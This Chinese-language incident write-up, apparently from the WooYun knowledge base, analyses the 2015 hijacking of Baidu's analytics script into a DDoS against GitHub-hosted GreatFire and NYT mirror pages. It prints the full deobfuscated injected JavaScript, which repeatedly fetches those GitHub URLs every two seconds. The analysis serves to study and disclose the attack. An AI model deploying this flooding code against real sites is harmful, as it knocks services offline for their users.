作者:
insight-labs
·
2015/03/27 14:07
0x00 背景
今天中午刷著全國最大的資訊保安從業人員同性交友社群zone.wooyun.org的時候,忽然瀏覽器每隔2秒就不斷的彈窗:
malicious javascript detected on this domain
我第一反應就是不知道哪個調皮的基友又把zone給XSS了,馬上開啟開發者工具分析。
0x01 細節
之後立刻發現彈窗的js居然是從github載入的:
可是為什麼烏雲會從github載入js呢,並且還是從greatfire和紐約時報映象載入。
第一反應是頁面有xss或者js被劫持了,找了半天終於找到了,居然是
hm.baidu.com/h.js
這個js的確被烏雲載入了沒錯,這是百度統計的js程式碼,開啟后里面是一個簡單加密後的js,eval了一串編碼後的內容,隨便找了個線上解密看了下,發現如下內容:
#!js
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>");
!window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>");
startime = (new Date).getTime();
var count = 0;
function unixtime() {
var a = new Date;
return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3
}
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
NUM = url_array.length;
function r_send2() {
var a = unixtime() % NUM;
get(url_array[a])
}
function get(a) {
var b;
$.ajax({
url: a,
dataType: "script",
timeout: 1E4,
cache: !0,
beforeSend: function() {
requestTime = (new Date).getTime()
},
complete: function() {
responseTime = (new Date).getTime();
b = Math.floor(responseTime - requestTime);
3E5 > responseTime - startime && (r_send(b), count += 1)
}
})
}
function r_send(a) {
setTimeout("r_send2()", a)
}
setTimeout("r_send2()", 2E3);
大概功能就是關閉快取後每隔2秒載入一次
url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"];
裡面的兩個url
問了下牆內的小夥伴們,他們看到的js都是正常的,但是透過牆外ip訪問
http://hm.baidu.com/h.js
就會得到上面的js檔案,每隔2秒請求一下這兩個url。
開啟twitter看了下,似乎從3月18號以來Github就受到了DDoS攻擊,之後greatfire把被攻擊的頁面內容換成了
#!js
alert("WARNING: malicious javascript detected on this domain")
以彈窗的方式阻止了js的迴圈執行。
圖3 國外ip traceroute到hm.baidu.com的記錄
似乎DNS並沒有被劫持,看來是像之前一樣直接把IP劫持了或者直接在HTTP協議裡替換檔案。
掃了下埠,只開了80和443,透過https協議訪問後是正常的空頁面(只有帶referer才會出現js檔案)。
作者要進行抓包分析時劫持已經停止,在twitter上看到有人已經分析過引用如下:
抓包跟蹤,正常百度伺服器返回給我日本VPS的TTL為51, RESP返回HTTP 200 OK的報文的TTL是47,可以確定的是有中間裝置對VPS發了偽造報文。
真是無恥,呵呵
忽然想起一句話,之前DNS被劫持到外國伺服器的時候某站長說的:
They have weaponized their entire population.
現在應該是:
They have weaponized their entire population of the Earth.
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!